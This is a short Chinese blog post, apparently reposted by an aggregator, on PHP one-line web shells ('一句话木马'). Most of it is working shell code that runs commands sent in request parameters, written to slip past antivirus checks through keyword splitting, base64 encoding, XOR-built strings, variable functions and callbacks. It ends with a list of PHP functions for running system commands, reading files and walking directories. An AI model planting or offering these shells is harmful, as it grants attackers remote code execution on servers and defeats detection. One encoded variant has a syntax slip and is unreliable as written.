一句话木马
Posted H3h3QAQ
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一句话木马相关的知识,希望对你有一定的参考价值。
#一句话木马
传统防护检测的的免杀方法:
一、隐藏关键字
绕过php代码标志<?的限制:
<script language="php">@eval($_POST['x'])</script>
拆分拼接:
<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);
?>
编码:
<?php
$a=base64_decode("YXNzZXJ0");
@$a($_POST('cmd'));
?>
随机异或,用异或运算来组成字符:
<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$a="Y"^"8";//a
$b="T"^"'";//s
$c="*"^"O";//e
$d="M"^"?";//r
$e="-"^"Y";//t
$payload=$a.$b.$b.$c.$d.$e;//拼接成assert
@$payload(@$_POST['x']);
?>
可变函数:
<?php
@$_REQUEST['e'](@$_REQUEST['x']);
//传入e=assert&x=command
?>
可变变量:
<?php
$a='assert';
$b='a';
//$$b=$a='assert'
$$b($_POST['x']); //assert($_POST['x'])
?>
二、使用回调函数
回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。
call_user_func ( $callback , $parameter)
$callback :被调用的回调函数
$parameter:0个或以上的参数,被传入回调函数
<?php
@call_user_func($_GET['id'],$_POST['a']);
//传入id=eval&a=command
?>
三、木马的使用
1、执行系统命令:
system()–执行外部程序,并显示输出
passthru()–执行外部程序并且显示原始输出
exec()–执行一个外部程序,不输出结果,echo返回结果的最后一行。
shell_exec()或–通过shell环境执行命令,需要echo
2、读文件:
file_ get_contents 一将整个文件读入为一个字符串
file()一把整个文件读入一个数组中
readfile一读取一个文件,并写入到输出缓冲
3、遍历目录:
scandir() 函数返回一个指定目录中的文件和目录的数组
未完待续~~~~
以上是关于一句话木马的主要内容,如果未能解决你的问题,请参考以下文章